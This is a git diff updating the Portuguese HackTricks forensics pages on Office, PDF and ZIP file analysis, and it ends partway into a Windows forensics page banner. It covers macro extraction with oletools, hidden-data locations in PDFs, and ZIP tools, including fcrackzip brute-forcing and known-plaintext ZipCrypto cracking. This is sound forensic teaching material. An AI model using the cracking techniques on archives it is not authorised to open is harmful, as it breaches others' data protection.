+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index 8703a3d26..ced494562 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,30 +1,32 @@
-# Análise de arquivos do Office
+# Análise de arquivo Office
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com ferramentas da comunidade **mais avançadas**.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Introdução
-A Microsoft criou **dezenas de formatos de arquivos de documentos do Office**, muitos dos quais são populares para a distribuição de ataques de phishing e malware devido à sua capacidade de **incluir macros** (scripts VBA).
+A Microsoft criou **dezenas de formatos de arquivo de documento Office**, muitos dos quais são populares para a distribuição de ataques de phishing e malware devido à sua capacidade de **incluir macros** (scripts VBA).
-De forma geral, existem duas gerações de formatos de arquivos do Office: os formatos **OLE** (extensões de arquivo como RTF, DOC, XLS, PPT) e os formatos "**Office Open XML**" (extensões de arquivo que incluem DOCX, XLSX, PPTX). **Ambos** os formatos são formatos binários de arquivo compostos e estruturados que **permitem conteúdo vinculado ou incorporado** (Objetos). Os arquivos OOXML são contêineres de arquivos zip, o que significa que uma das maneiras mais fáceis de verificar dados ocultos é simplesmente `descompactar` o documento:
+Falando de forma ampla, existem duas gerações de formato de arquivo Office: os formatos **OLE** (extensões de arquivo como RTF, DOC, XLS, PPT), e os formatos "**Office Open XML**" (extensões de arquivo que incluem DOCX, XLSX, PPTX). **Ambos** os formatos são estruturados, formatos binários de arquivo composto que **permitem conteúdo Vinculado ou Embutido** (Objetos). Arquivos OOXML são contêineres de arquivo zip, o que significa que uma das maneiras mais fáceis de verificar dados ocultos é simplesmente `unzip` o documento:
```
$ unzip example.docx
Archive: example.docx
@@ -65,67 +67,45 @@ $ tree
│ └── theme1.xml
└── webSettings.xml
```
-Como você pode ver, parte da estrutura é criada pelo arquivo e pela hierarquia de pastas. O restante é especificado nos arquivos XML. [_Novas técnicas esteganográficas para o formato de arquivo OOXML_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) detalha algumas ideias para técnicas de ocultação de dados, mas os autores de desafios CTF sempre estarão criando novas.
+Como você pode ver, parte da estrutura é criada pela hierarquia de arquivos e pastas. O restante é especificado dentro dos arquivos XML. [_Novas Técnicas Esteganográficas para o Formato de Arquivo OOXML_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) detalha algumas ideias para técnicas de ocultação de dados, mas os autores de desafios de CTF estarão sempre inventando novas.
-Mais uma vez, existe um conjunto de ferramentas em Python para a análise de documentos OLE e OOXML: [oletools](http://www.decalage.info/python/oletools). Para documentos OOXML em particular, [OfficeDissector](https://www.officedissector.com) é um framework de análise muito poderoso (e uma biblioteca em Python). Este último inclui um [guia rápido sobre o seu uso](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt).
+Mais uma vez, existe um conjunto de ferramentas Python para a **análise de documentos OLE e OOXML**: [oletools](http://www.decalage.info/python/oletools). Especificamente para documentos OOXML, [OfficeDissector](https://www.officedissector.com) é um framework de análise muito poderoso (e biblioteca Python). Este último inclui um [guia rápido para seu uso](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt).
-Às vezes, o desafio não é encontrar dados estáticos ocultos, mas **analisar uma macro VBA** para determinar seu comportamento. Esse é um cenário mais realista e algo que os analistas de campo realizam todos os dias. As ferramentas de dissecação mencionadas podem indicar se uma macro está presente e provavelmente extraí-la para você. Uma macro VBA típica em um documento do Office, no Windows, irá baixar um script do PowerShell para %TEMP% e tentar executá-lo, nesse caso, você agora tem uma tarefa de análise de script do PowerShell também. Mas as macros VBA maliciosas raramente são complicadas, já que a VBA é [geralmente usada apenas como uma plataforma de partida para a execução de código](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). No caso em que você precisa entender uma macro VBA complicada, ou se a macro está ofuscada e possui uma rotina de descompactação, você não precisa ter uma licença do Microsoft Office para depurar isso. Você pode usar o [Libre Office](http://libreoffice.org): [sua interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) será familiar para qualquer pessoa que já tenha depurado um programa; você pode definir pontos de interrupção, criar variáveis de observação e capturar valores depois que eles foram descompactados, mas antes que o comportamento da carga útil seja executado. Você até pode iniciar uma macro de um documento específico a partir da linha de comando:
+Às vezes, o desafio não é encontrar dados estáticos ocultos, mas **analisar uma macro VBA** para determinar seu comportamento. Este é um cenário mais realista e uma tarefa que analistas de campo realizam todos os dias. As ferramentas de dissecação mencionadas podem indicar se uma macro está presente e, provavelmente, extraí-la para você. Uma macro VBA típica em um documento Office, no Windows, baixará um script PowerShell para %TEMP% e tentará executá-lo, caso em que você também terá uma tarefa de análise de script PowerShell. Mas macros VBA maliciosas raramente são complicadas, já que VBA é [tipicamente usado apenas como uma plataforma de lançamento para iniciar a execução de código](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). No caso de você precisar entender uma macro VBA complicada, ou se a macro estiver ofuscada e tiver uma rotina de desempacotamento, você não precisa ter uma licença do Microsoft Office para depurar isso. Você pode usar [Libre Office](http://libreoffice.org): [sua interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) será familiar para qualquer um que já tenha depurado um programa; você pode definir pontos de interrupção e criar variáveis de observação e capturar valores depois que eles foram desempacotados, mas antes que qualquer comportamento da carga útil tenha sido executado. Você pode até iniciar uma macro de um documento específico a partir de uma linha de comando:
```
$ soffice path/to/test.docx macro://./standard.module1.mymacro
```
## [oletools](https://github.com/decalage2/oletools)
-
-oletools é uma coleção de scripts Python para análise de arquivos OLE (Object Linking and Embedding). Essas ferramentas podem ser úteis para a análise forense de arquivos do Microsoft Office, como documentos do Word, planilhas do Excel e apresentações do PowerPoint.
-
-### oleid
-
-O script `oleid` é usado para identificar o tipo de arquivo OLE. Ele verifica a estrutura do arquivo e fornece informações sobre os objetos OLE presentes no arquivo. Isso pode ajudar a determinar se um arquivo é realmente um arquivo OLE válido.
-
-### olevba
-
-O script `olevba` é usado para extrair e analisar macros VBA (Visual Basic for Applications) de arquivos do Office. Ele pode ser usado para identificar macros maliciosas ou suspeitas que podem estar presentes em um arquivo.
-
-### oledump
-
-O script `oledump` é uma ferramenta poderosa para análise de arquivos OLE. Ele permite visualizar a estrutura interna de um arquivo OLE e extrair objetos específicos, como macros, streams e objetos embutidos. Isso pode ser útil para identificar conteúdo malicioso oculto em um arquivo.
-
-### olebrowse
-
-O script `olebrowse` é uma ferramenta interativa para análise de arquivos OLE. Ele fornece uma interface gráfica que permite explorar a estrutura interna de um arquivo OLE e visualizar os objetos presentes no arquivo. Isso pode facilitar a análise forense de arquivos do Office.
-
-### olemeta
-
-O script `olemeta` é usado para extrair metadados de arquivos OLE. Ele pode fornecer informações sobre o autor, título, assunto e outras propriedades do arquivo. Isso pode ser útil para a análise forense de documentos do Office.
-
-Essas ferramentas do oletools podem ser usadas para ajudar na análise forense de arquivos do Microsoft Office e na detecção de conteúdo malicioso.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
## Execução Automática
-Funções de macro como `AutoOpen`, `AutoExec` ou `Document_Open` serão **executadas automaticamente**.
+Funções de macro como `AutoOpen`, `AutoExec` ou `Document_Open` serão **executadas** **automaticamente**.
## Referências
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 95f3e158d..1ce843891 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -2,40 +2,56 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
De: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
-O formato de arquivo PDF é extremamente complicado, com truques e esconderijos suficientes [para escrever sobre por anos](https://www.sultanik.com/pocorgtfo/). Isso também o torna popular para desafios de forense em CTF. A NSA escreveu um guia sobre esses esconderijos em 2008 intitulado "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures". Não está mais disponível em sua URL original, mas você pode [encontrar uma cópia aqui](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini também mantém um wiki no GitHub com [truques do formato de arquivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
+PDF é um formato de arquivo de documento extremamente complicado, com truques e esconderijos suficientes [para escrever sobre por anos](https://www.sultanik.com/pocorgtfo/). Isso também o torna popular para desafios de forense em CTF. A NSA escreveu um guia sobre esses esconderijos em 2008 intitulado "Dados Ocultos e Metadados em Arquivos Adobe PDF: Riscos de Publicação e Contramedidas". Não está mais disponível em seu URL original, mas você pode [encontrar uma cópia aqui](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini também mantém um wiki no GitHub sobre [truques do formato de arquivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
-O formato PDF é parcialmente texto simples, como HTML, mas com muitos "objetos" binários no conteúdo. Didier Stevens escreveu [bom material introdutório](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre o formato. Os objetos binários podem ser dados comprimidos ou até mesmo criptografados, e incluem conteúdo em linguagens de script como JavaScript ou Flash. Para exibir a estrutura de um PDF, você pode navegá-lo com um editor de texto ou abri-lo com um editor de formato de arquivo PDF como o Origami.
+O formato PDF é parcialmente em texto simples, como HTML, mas com muitos "objetos" binários no conteúdo. Didier Stevens escreveu [material introdutório bom](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre o formato. Os objetos binários podem ser dados comprimidos ou até mesmo criptografados, e incluem conteúdo em linguagens de script como JavaScript ou Flash. Para exibir a estrutura de um PDF, você pode navegar nele com um editor de texto ou abri-lo com um editor de formato de arquivo ciente de PDF, como Origami.
[qpdf](https://github.com/qpdf/qpdf) é uma ferramenta que pode ser útil para explorar um PDF e transformar ou extrair informações dele. Outra é um framework em Ruby chamado [Origami](https://github.com/mobmewireless/origami-pdf).
-Ao explorar o conteúdo de um PDF em busca de dados ocultos, alguns dos esconderijos para verificar incluem:
+Ao explorar o conteúdo de PDF em busca de dados ocultos, alguns dos esconderijos para verificar incluem:
* camadas não visíveis
-* o formato de metadados "XMP" da Adobe
-* o recurso de "geração incremental" do PDF, em que uma versão anterior é retida, mas não visível para o usuário
-* texto branco em um fundo branco
+* formato de metadados da Adobe "XMP"
+* o recurso de "geração incremental" do PDF, no qual uma versão anterior é retida, mas não visível para o usuário
+* texto branco em fundo branco
* texto atrás de imagens
-* uma imagem atrás de uma imagem sobreposta
+* uma imagem atrás de outra imagem sobreposta
* comentários não exibidos
-Existem também vários pacotes Python para trabalhar com o formato de arquivo PDF, como o [PeepDF](https://github.com/jesparza/peepdf), que permite que você escreva seus próprios scripts de análise.
+Existem também vários pacotes Python para trabalhar com o formato de arquivo PDF, como [PeepDF](https://github.com/jesparza/peepdf), que permitem escrever seus próprios scripts de análise.
+
+
+
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
+
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
index bf8c5faee..8424fbde1 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
@@ -1,29 +1,45 @@
-# Truques com arquivos ZIP
+# Truques com ZIPs
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Existem algumas ferramentas de linha de comando para arquivos ZIP que serão úteis de conhecer.
+Existem várias ferramentas de linha de comando para arquivos zip que serão úteis de conhecer.
-* `unzip` geralmente fornece informações úteis sobre por que um arquivo ZIP não pode ser descompactado.
-* `zipdetails -v` fornece informações detalhadas sobre os valores presentes nos vários campos do formato.
-* `zipinfo` lista informações sobre o conteúdo do arquivo ZIP, sem extraí-lo.
-* `zip -F input.zip --out output.zip` e `zip -FF input.zip --out output.zip` tentam reparar um arquivo ZIP corrompido.
-* [fcrackzip](https://github.com/hyc/fcrackzip) faz tentativas de força bruta para adivinhar a senha de um arquivo ZIP (para senhas com menos de 7 caracteres, mais ou menos).
+* `unzip` frequentemente fornece informações úteis sobre por que um zip não está descomprimindo.
+* `zipdetails -v` fornece informações detalhadas sobre os valores presentes nos diversos campos do formato.
+* `zipinfo` lista informações sobre o conteúdo do arquivo zip, sem extraí-lo.
+* `zip -F input.zip --out output.zip` e `zip -FF input.zip --out output.zip` tentam reparar um arquivo zip corrompido.
+* [fcrackzip](https://github.com/hyc/fcrackzip) realiza tentativas de força bruta para adivinhar a senha de um zip (para senhas de <7 caracteres ou assim).
-[Especificação do formato de arquivo ZIP](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
+[Especificação do formato de arquivo zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
-Uma observação importante relacionada à segurança de arquivos ZIP protegidos por senha é que eles não criptografam os nomes de arquivo e os tamanhos de arquivo originais dos arquivos compactados que eles contêm, ao contrário dos arquivos RAR ou 7z protegidos por senha.
+Uma nota importante relacionada à segurança sobre arquivos zip protegidos por senha é que eles não criptografam os nomes dos arquivos e os tamanhos originais dos arquivos comprimidos que contêm, ao contrário de arquivos RAR ou 7z protegidos por senha.
-Outra observação sobre a quebra de senhas de arquivos ZIP é que, se você tiver uma cópia não criptografada/não compactada de qualquer um dos arquivos que estão compactados no arquivo ZIP criptografado, você pode realizar um "ataque de texto simples" e quebrar o arquivo ZIP, como [detalhado aqui](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicado [neste artigo](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). O novo esquema de proteção por senha para arquivos ZIP (com AES-256, em vez de "ZipCrypto") não possui essa vulnerabilidade.
+Outra observação sobre a quebra de senhas de zip é que, se você tiver uma cópia não criptografada/descomprimida de qualquer um dos arquivos que estão comprimidos no zip criptografado, você pode realizar um "ataque de texto simples" e quebrar o zip, como [detalhado aqui](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), e explicado neste [artigo](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). O esquema mais recente para proteção de arquivos zip com senha (com AES-256, em vez de "ZipCrypto") não possui essa fraqueza.
De: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)
+
+
+
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
+
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md
index f1a3ed43f..590a5688d 100644
--- a/forensics/basic-forensic-methodology/windows-forensics/README.md
+++ b/forensics/basic-forensic-methodology/windows-forensics/README.md
@@ -4,13 +4,15 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
